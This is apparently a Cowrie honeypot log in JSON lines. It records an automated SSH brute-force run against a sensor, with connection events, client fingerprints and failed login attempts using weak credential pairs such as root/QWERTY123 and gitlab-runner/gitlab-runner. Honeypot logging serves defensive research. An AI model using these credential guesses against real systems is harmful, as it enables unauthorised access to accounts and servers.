{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46630,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f149f65d067","protocol":"ssh","message":"New connection: 192.109.200.237:46630 (159.203.135.109:22) [session: 6f149f65d067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:35.157831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:35.162691Z","src_ip":"192.109.200.237","session":"6f149f65d067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.38457417488098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:35.179480Z","src_ip":"50.6.8.71","session":"88e37c9114bb","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:35.246684Z","src_ip":"192.109.200.237","session":"6f149f65d067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:35.500076Z","src_ip":"192.109.200.237","session":"6f149f65d067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:36.693935Z","src_ip":"192.109.200.237","session":"6f149f65d067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46638,"dst_ip":"159.203.135.109","dst_port":22,"session":"287bf4919b84","protocol":"ssh","message":"New connection: 192.109.200.237:46638 (159.203.135.109:22) [session: 287bf4919b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:38.624201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:38.628316Z","src_ip":"192.109.200.237","session":"287bf4919b84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:38.710606Z","src_ip":"192.109.200.237","session":"287bf4919b84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:38.967881Z","src_ip":"192.109.200.237","session":"287bf4919b84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:40.053351Z","src_ip":"192.109.200.237","session":"287bf4919b84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38934,"dst_ip":"10.17.0.5","dst_port":23,"session":"853446ddcfd0","protocol":"telnet","message":"New connection: 50.6.8.71:38934 (10.17.0.5:23) [session: 853446ddcfd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:42.047244Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59514,"dst_ip":"159.203.135.109","dst_port":22,"session":"fea7f46bdcd5","protocol":"ssh","message":"New connection: 192.109.200.237:59514 (159.203.135.109:22) [session: fea7f46bdcd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:42.202149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:42.206977Z","src_ip":"192.109.200.237","session":"fea7f46bdcd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:42.289196Z","src_ip":"192.109.200.237","session":"fea7f46bdcd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:42.535589Z","src_ip":"192.109.200.237","session":"fea7f46bdcd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:43.620418Z","src_ip":"192.109.200.237","session":"fea7f46bdcd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59520,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0ddbb445434","protocol":"ssh","message":"New connection: 192.109.200.237:59520 (159.203.135.109:22) [session: e0ddbb445434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:45.648251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:45.653111Z","src_ip":"192.109.200.237","session":"e0ddbb445434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:45.735203Z","src_ip":"192.109.200.237","session":"e0ddbb445434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:45.981972Z","src_ip":"192.109.200.237","session":"e0ddbb445434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:47.067464Z","src_ip":"192.109.200.237","session":"e0ddbb445434","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59534,"dst_ip":"159.203.135.109","dst_port":22,"session":"e91dd1519f82","protocol":"ssh","message":"New connection: 192.109.200.237:59534 (159.203.135.109:22) [session: e91dd1519f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:49.036022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:49.041399Z","src_ip":"192.109.200.237","session":"e91dd1519f82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:49.123647Z","src_ip":"192.109.200.237","session":"e91dd1519f82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:49.369275Z","src_ip":"192.109.200.237","session":"e91dd1519f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:50.454210Z","src_ip":"192.109.200.237","session":"e91dd1519f82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36242,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f0b00a23f94","protocol":"ssh","message":"New connection: 192.109.200.237:36242 (159.203.135.109:22) [session: 1f0b00a23f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:52.615569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:52.622137Z","src_ip":"192.109.200.237","session":"1f0b00a23f94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:52.698942Z","src_ip":"192.109.200.237","session":"1f0b00a23f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:53.020096Z","src_ip":"192.109.200.237","session":"1f0b00a23f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:54.105557Z","src_ip":"192.109.200.237","session":"1f0b00a23f94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36246,"dst_ip":"159.203.135.109","dst_port":22,"session":"11682fa9c892","protocol":"ssh","message":"New connection: 192.109.200.237:36246 (159.203.135.109:22) [session: 11682fa9c892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:56.123317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:56.127726Z","src_ip":"192.109.200.237","session":"11682fa9c892","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:56.209600Z","src_ip":"192.109.200.237","session":"11682fa9c892","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:56.456441Z","src_ip":"192.109.200.237","session":"11682fa9c892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.152571439743042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:57.327089Z","src_ip":"50.6.8.71","session":"3e9ab279f273","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:57.540725Z","src_ip":"192.109.200.237","session":"11682fa9c892","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36260,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fe737403604","protocol":"ssh","message":"New connection: 192.109.200.237:36260 (159.203.135.109:22) [session: 9fe737403604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:59.591855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:59.596569Z","src_ip":"192.109.200.237","session":"9fe737403604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:59.681572Z","src_ip":"192.109.200.237","session":"9fe737403604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:59.932912Z","src_ip":"192.109.200.237","session":"9fe737403604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.74500274658203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:00.158422Z","src_ip":"50.6.8.71","session":"518ccde2b7a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:01.017757Z","src_ip":"192.109.200.237","session":"9fe737403604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49016,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3a36879dc4d","protocol":"ssh","message":"New connection: 192.109.200.237:49016 (159.203.135.109:22) [session: b3a36879dc4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:03.163411Z"}
